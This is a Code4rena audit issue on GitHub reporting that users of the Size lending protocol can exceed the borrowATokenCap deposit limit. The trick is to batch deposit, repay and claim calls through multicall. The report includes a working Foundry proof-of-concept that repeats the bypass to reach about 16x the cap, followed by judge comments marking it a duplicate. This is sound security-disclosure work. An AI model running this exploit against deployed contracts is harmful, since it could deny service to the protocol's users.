Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

User can bypass RiskConfig.borrowATokenCap limit up to 10x times using multicall. Leading to temporary DOS attack #34

Closed
c4-bot-7 opened this issue Jun 30, 2024 · 3 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-238 🤖_11_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality

Comments

@c4-bot-7
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/libraries/CapsLibrary.sol#L19-L44

Vulnerability details

Multicall only validates that the total USDC deposit does not exceed 1M USDC. This limited validation overlooks users’ existing balances, enabling them to deposit multiple times over the limit.

The validation logic checks for excess USDC deposits and repayment of debt. If the debt reduction surpasses the deposit, the transaction does not revert, allowing users to bypass the deposit limit.

if (borrowATokenSupplyIncrease > debtATokenSupplyDecrease) {
    // revert
    revert Errors.BORROW_ATOKEN_INCREASE_EXCEEDS_DEBT_TOKEN_DECREASE(
        borrowATokenSupplyIncrease, debtATokenSupplyDecrease
    );
}

Since this validation ignores the current user's deposited balance, users can repeatedly deposit and repay to exceed the cap.

Impact

  • DOS: By depositing large amounts of USDC tokens, an exploiter can temporarily DOS new deposit to project. No financial loss is incurred by the exploiter, but it requires substantial capital.
  • Market Manipulation: The only incentive for bored invidual to exploit this vulnerability would be to corner the market temporarily by being the sole supplier of loans and credit. However, there is no profit to be made with unfair loans since deposited AAVE aTokens offer better rates.

Proof of Concept

By making self loan with 0% interest to self and 1 hour tenor limit. Fee is tiny with 1h tenor.
Deposit 1M and borrow 1M USDC from self. Users cannot deposit anymore at this point because 1M is maximum limit of total deposit.

However, calling multicall() with deposit 1M and repay 1M will work because user reduce credit by the same amount of deposit. Resulting in a total of 2M deposit on smart contract.

Repeat this multiple times until you are 10x over limit deposit and preventing anyone else from making deposit.

Foundry test for reproducing.

    function testBypassMax1MillionCap() public {
        vm.prank(0x28C6c06298d514Db089934071355E5743bf21d60);
        USDC.transfer(alice, 20_000_000e6);
        deal(alice, 10000e18);
        vm.startPrank(alice);
        USDC.approve(address(size), type(uint256).max);
        WETH.approve(address(size), type(uint256).max);
        console.log("max aBorrowToken: %e", size.riskConfig().borrowATokenCap);

        //deposit collateral
        size.deposit{value: 10000e18}(DepositParams({token: address(WETH), amount: 10000e18, to: alice}));
        //deposit 1M USDC
        size.deposit(DepositParams({token: address(USDC), amount: 1_000_000e6, to: alice}));

        // repeat exploit actions 4 times to reach 16M USDC deposit. 16x times over 1M limit
        for (uint256 i = 0; i < 4; i++) {
            uint256 buyCreditAmount = size.getUserView(alice).borrowATokenBalance;
            //make borrow offer 0% apr
            int256[] memory aprs = new int256[](1);
            uint256[] memory tenors = new uint256[](1);
            uint256[] memory marketRateMultipliers = new uint256[](1);
            tenors[0] = 1 hours; //minimum time for minimum fee
            size.sellCreditLimit(
                SellCreditLimitParams({
                    curveRelativeTime: YieldCurve({tenors: tenors, aprs: aprs, marketRateMultipliers: marketRateMultipliers})
                })
            );
            //buy loan offer with all
            size.buyCreditMarket(
                BuyCreditMarketParams({
                    borrower: alice,
                    creditPositionId: RESERVED_ID,
                    tenor: 1 hours,
                    amount: buyCreditAmount,
                    deadline: block.timestamp,
                    minAPR: 0,
                    exactAmountIn: true
                })
            );

            // Maximum borrowATokenCap is 1M USDC already reached.
            // So now deposit another 1M and repay. now total deposit USDC is 2M. over 1M limit
            bytes[] memory _data = new bytes[](3);
            //deposit another 1M USDC
            _data[0] = abi.encodeWithSelector(
                Size.deposit.selector, DepositParams({token: address(USDC), amount: buyCreditAmount, to: alice})
            );
            //repay debt 1M
            _data[1] = abi.encodeWithSelector(
                Size.repay.selector, RepayParams({debtPositionId: size.data().nextDebtPositionId - 1})
            );
            //claim debt
            _data[2] = abi.encodeWithSelector(
                Size.claim.selector, ClaimParams({creditPositionId: size.data().nextCreditPositionId - 1})
            );
            size.multicall(_data);
        }

        printBalance(alice);
        console.log("total aBorrowToken: %e USDC", borrowAToken.totalSupply());
        console.log("overlimit amount: %e USDC", borrowAToken.totalSupply() - size.riskConfig().borrowATokenCap);
        //   total aBorrowToken: 1.5999990296787e13 USDC
        //   overlimit amount: 1.4999990296787e13 USDC
    }
    function printBalance(address account) public {
        console.log("-Account %s Balance", account);
        console.log("USDC balance: %e", USDC.balanceOf(account));
        console.log("ETH balance: %e", account.balance);
        console.log("WETH balance: %e", WETH.balanceOf(account));
        //Size User View
        UserView memory user = size.getUserView(account);
        console.log("collateralToken: %e", user.collateralTokenBalance);
        console.log("borrowAToken_unscaled_USDC: %e", user.borrowATokenBalance);
        console.log("borrowAToken_scaled: %e", borrowAToken.scaledBalanceOf(account));
        console.log("debtToken: %e", user.debtBalance);
        console.log("collateralRatio: %e", size.collateralRatio(alice));
        console.log("-");
    }

Tools Used

Recommended Mitigation Steps

None. There is no practical reason to have deposit limit.

Otherwise, this is good application for transient storage with multicall.

Assessed type

DoS

@c4-bot-7 c4-bot-7 added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working labels Jun 30, 2024
c4-bot-9 added a commit that referenced this issue Jun 30, 2024
@c4-bot-13 c4-bot-13 added the 🤖_11_group AI based duplicate group recommendation label Jul 2, 2024
@howlbot-integration howlbot-integration bot added sufficient quality report This report is of sufficient quality duplicate-13 labels Jul 4, 2024
@c4-judge
Copy link
Contributor

hansfriese marked the issue as duplicate of #144

@c4-judge c4-judge added duplicate-144 satisfactory satisfies C4 submission criteria; eligible for awards and removed duplicate-13 labels Jul 10, 2024
@c4-judge
Copy link
Contributor

hansfriese marked the issue as satisfactory

@c4-judge
Copy link
Contributor

hansfriese marked the issue as duplicate of #238

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-238 🤖_11_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality
Projects
None yet
Development

No branches or pull requests

3 participants